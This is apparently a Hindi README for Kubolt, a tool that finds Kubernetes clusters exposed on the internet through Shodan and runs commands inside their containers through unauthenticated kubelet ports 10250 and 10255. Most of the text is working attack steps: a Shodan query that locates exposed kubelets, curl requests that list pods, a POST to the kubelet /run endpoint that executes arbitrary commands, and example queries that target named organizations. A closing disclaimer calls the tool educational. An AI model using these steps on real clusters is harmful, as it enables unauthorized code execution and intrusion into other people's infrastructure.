
सार्वजनिक Kubernetes क्लस्टरों को स्कैन करने के लिए Kubolt उपयोगिता
Kubolt एक सरल उपयोगिता है जो सार्वजनिक अप्रमाणित कुबेरनेट्स क्लस्टर को स्कैन करने और कंटेनरों के अंदर कमांड चलाने के लिए है।
कभी-कभी, kubelet पोर्ट 10250 अनधिकृत पहुंच के लिए खुला होता है और kubelet से getrun फ़ंक्शन का उपयोग करके कंटेनरों के अंदर कमांड चलाना संभव बनाता है:
// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf("pod does not exist"))
return
}
ठीक है, चलिए अपने दोस्त Shodan से पूछते हैं :trollface:
मूल क्वेरी है
ssl:true port:10250 404
Kubelet डिफ़ॉल्ट रूप से SSL के साथ पोर्ट 10250 का उपयोग करता है, 404 URL पथ के बिना HTTP प्रतिक्रिया है।
Kubolt Shodan से API द्वारा IP पतों की सूची मांगता है और उन्हें अन्य OSINT क्रियाओं के लिए रखता है 😁
सबसे पहले, चलिए Kubelet से चल रहे pods के लिए पूछते हैं और उन होस्टों को फ़िल्टर करते हैं जहाँ प्रतिक्रिया में Unauthorized नहीं है और container है ताकि हम उसके अंदर कमांड चला सकें।
curl -k https://IP-from-Shodan:10250/runningpods/
वैसे भी, यदि आपको उस समय बिना किसी चल रहे pod वाला होस्ट मिलता है, तो इसे अगली बार के लिए रखें जब pods शुरू हो सकते हैं 😁
आप इन अनुरोधों से सभी उपलब्ध pods को सूचीबद्ध कर सकते हैं:
curl -k https://IP-from-Shodan:10250/pods/
#या
curl http://IP-from-Shodan:10255/pods/
इसके बाद kubolt प्रतिक्रिया को पार्स करता है और नीचे दिए गए अनुरूप एक नया अनुरोध उत्पन्न करता है:
curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>"
आप Shodan फ़िल्टर जैसे:
का उपयोग करके कंपनियों को अधिक सटीक रूप से लक्षित कर सकते हैं।
mkdir output
pip install -r requirements.txt
python kubolt.py --query "asn:123123 org:'ACME Corporation'"
#या
python kubolt.py --query "org:'ACME Corporation' country:UK"
Kubolt Shodan API और क्वेरी क्रेडिट का तदनुसार उपयोग करता है, यदि आप बिना क्वेरी फ़िल्टर के टूल चलाते हैं तो संभवतः आप अपने सभी क्रेडिट खर्च कर देंगे ¯\_(ツ)_/¯

लेखक द्वारा प्रदान किया गया उपकरण केवल शैक्षिक उद्देश्यों के लिए उपयोग किया जाना चाहिए। लेखक उपकरण के दुरुपयोग के लिए जिम्मेदार नहीं ठहराया जा सकता। लेखक उपकरण के उपयोग से होने वाली किसी भी प्रत्यक्ष या अप्रत्यक्ष क्षति के लिए जिम्मेदार नहीं है।